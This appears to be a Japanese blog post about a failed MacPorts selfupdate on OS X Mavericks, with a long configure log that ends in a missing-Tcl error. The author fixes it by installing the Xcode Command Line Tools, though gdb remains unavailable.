checking whether ln -s works... yes
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether we are using the GNU Objective C compiler... yes
checking whether gcc accepts -g... yes
checking for bsdmake... no
checking for pmake... no
checking for bzip2... /usr/bin/bzip2
checking for bzr... no
checking for chown... /usr/sbin/chown
checking for cp... /bin/cp
checking for cpio... /usr/bin/cpio
checking for cvs... no
checking for diff... /usr/bin/diff
checking for dscl... /usr/bin/dscl
checking for dseditgroup... /usr/sbin/dseditgroup
checking for file... /usr/bin/file
checking for find... /usr/bin/find
checking for git... /usr/bin/git
checking for gnumake... /usr/bin/gnumake
checking for gnupatch... no
checking for gpatch... no
checking for gnutar... no
checking for gtar... no
checking for gzip... /usr/bin/gzip
checking for hdiutil... /usr/bin/hdiutil
checking for hg... no
checking for launchctl... /bin/launchctl
checking for lipo... /usr/bin/lipo
checking for lsbom... /usr/bin/lsbom
checking for lzma... no
checking for make... /usr/bin/make
checking for mdfind... /usr/bin/mdfind
checking for mdls... /usr/bin/mdls
checking for mkbom... /usr/bin/mkbom
checking for mtree... /usr/sbin/mtree
checking for open... /usr/bin/open
checking for openssl... /usr/bin/openssl
checking for patch... /usr/bin/patch
checking for pax... /bin/pax
checking for rmdir... /bin/rmdir
checking for rsync... /usr/bin/rsync
checking for sandbox-exec... /usr/bin/sandbox-exec
checking for sed... /usr/bin/sed
checking for svn... /usr/bin/svn
checking for swig... no
checking for tar... /usr/bin/tar
checking for unzip... /usr/bin/unzip
checking for xar... /usr/bin/xar
checking for xcodebuild... /usr/bin/xcodebuild
checking for xcrun... /usr/bin/xcrun
checking for xz... no
checking for zip... /usr/bin/zip
checking for launchd... yes
checking for sed... (cached) /usr/bin/sed
checking which sed flag to use for extended regexp... -E (BSD)
checking for tar... (cached) /usr/bin/tar
checking whether tar supports -q... yes (bsdtar)
checking for tar... (cached) /usr/bin/tar
checking for gnutar... no
checking for which tar variant to use... /usr/bin/tar
checking for /usr/bin/tar --no-same-owner support... no
checking for patch... (cached) /usr/bin/patch
checking for gpatch... no
checking for GNU (FSF) patch... /usr/bin/patch
checking how to mark unused variables...
checking for gcc symbol visibility attribute... __attribute__((visibility("hidden")))
checking for the pthreads library -lpthreads... no
checking whether pthreads work without any flags... yes
checking for joinable pthread attribute... PTHREAD_CREATE_JOINABLE
checking if more special flags are required for pthreads... -D_THREAD_SAFE
checking how to run the Objective C preprocessor... gcc -E
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking objc/objc.h usability... yes
checking objc/objc.h presence... yes
checking for objc/objc.h... yes
checking if linking libobjc requires pthreads... no
checking for Apple Objective-C runtime... yes
checking for GNU Objective C runtime... no
configure: Using Apple Objective-C runtime
checking for Apple Foundation library... yes
configure: WARNING: GNUSTEP_SYSTEM_ROOT is not defined in your environment, preventing the use of GNUstep's Foundation library
configure: Using Apple Foundation library
checking for CoreFoundation framework... yes
checking for SystemConfiguration framework... yes
checking for IOKit framework... yes
checking for CFNotificationCenterGetDarwinNotifyCenter... yes
checking for whether we will build daemondo... yes
checking for ports tree... /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports
checking for MacPorts config directory... ${sysconfdir}/macports
checking for install user... root
checking for install group... admin
checking for macports user... macports
checking what permissions to use for installation directories... 0755
checking for Applications installation directory... /Applications/MacPorts
checking for Frameworks installation directory... /opt/local/Library/Frameworks
checking for Universal CPU architectures... x86_64 i386
checking how to run the C preprocessor... /usr/bin/cc -E
checking for ANSI C header files... (cached) yes
checking for dirent.h that defines DIR... yes
checking for library containing opendir... none required
checking for sys/wait.h that is POSIX.1 compatible... yes
checking limits.h usability... yes
checking limits.h presence... yes
checking for limits.h... yes
checking paths.h usability... yes
checking paths.h presence... yes
checking for paths.h... yes
checking sys/file.h usability... yes
checking sys/file.h presence... yes
checking for sys/file.h... yes
checking crt_externs.h usability... yes
checking crt_externs.h presence... yes
checking for crt_externs.h... yes
checking fcntl.h usability... yes
checking fcntl.h presence... yes
checking for fcntl.h... yes
checking sys/fcntl.h usability... yes
checking sys/fcntl.h presence... yes
checking for sys/fcntl.h... yes
checking sys/cdefs.h usability... yes
checking sys/cdefs.h presence... yes
checking for sys/cdefs.h... yes
checking err.h usability... yes
checking err.h presence... yes
checking for err.h... yes
checking sys/socket.h usability... yes
checking sys/socket.h presence... yes
checking for sys/socket.h... yes
checking sys/sysctl.h usability... yes
checking sys/sysctl.h presence... yes
checking for sys/sysctl.h... yes
checking readline/readline.h usability... yes
checking readline/readline.h presence... yes
checking for readline/readline.h... yes
checking readline/history.h usability... yes
checking readline/history.h presence... yes
checking for readline/history.h... yes
checking pwd.h usability... yes
checking pwd.h presence... yes
checking for pwd.h... yes
checking sys/paths.h usability... yes
checking sys/paths.h presence... yes
checking for sys/paths.h... yes
checking utime.h usability... yes
checking utime.h presence... yes
checking for utime.h... yes
checking for bzero... yes
checking for memset... yes
checking for fgetln... yes
checking for lockf... yes
checking for flock... yes
checking for setmode... yes
checking for strcasecmp... yes
checking for strncasecmp... yes
checking for strlcpy... yes
checking for copyfile... yes
checking for clearenv... no
checking for sysctlbyname... yes
checking if readlink conforms to POSIX 1003.1a... yes
checking CommonCrypto/CommonDigest.h usability... yes
checking CommonCrypto/CommonDigest.h presence... yes
checking for CommonCrypto/CommonDigest.h... yes
checking for readline in -lreadline... yes
checking whether rl_username_completion_function is declared... no
checking whether rl_filename_completion_function is declared... yes
checking whether rl_completion_matches is declared... yes
checking whether username_completion_function is declared... yes
checking whether filename_completion_function is declared... yes
checking whether completion_matches is declared... yes
checking for Tcl configuration... configure: error: Can't find Tcl configuration definitions
Command failed: cd /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/base && CC=/usr/bin/cc ./configure --prefix=/opt/local --with-tclpackage=/Library/Tcl --with-install-user=root --with-install-group=admin --with-directory-mode=0755 --enable-readline && make && make install SELFUPDATING=1
Exit code: 1
DEBUG: Error installing new MacPorts base: command execution failed
while executing
"macports::selfupdate [array get global_options] base_updated"
Error: /opt/local/bin/port: port selfupdate failed: Error installing new MacPorts base: command execution failed


Tcl がどうしたとか出てくる。
そういえば、OS 更新後に Xcode も更新があったりした。

あと、Webで検索したらコマンドラインツールがなくなったとかいうのも見つけたので、Xcode を入れ直してみる。

が、状況が変わらない。

そこで、Xcode のメニューから Open Developer Tool → More Developer Tools をクリックしてみる。



ブラウザが起動され、Apple ID でログインする画面が出る。



すると、そこには "Command Line Tools ( OS X Mavericks ) for Xcode - Late October" ってのがあるので、こいつをダウンロードする。



ダウンロードしたらインストール。
このあと念のため再起動しておいた。

これをやったら、port selfupdate もできるようになった。

ただ、gdb が command not found になるのは直ってないぞ。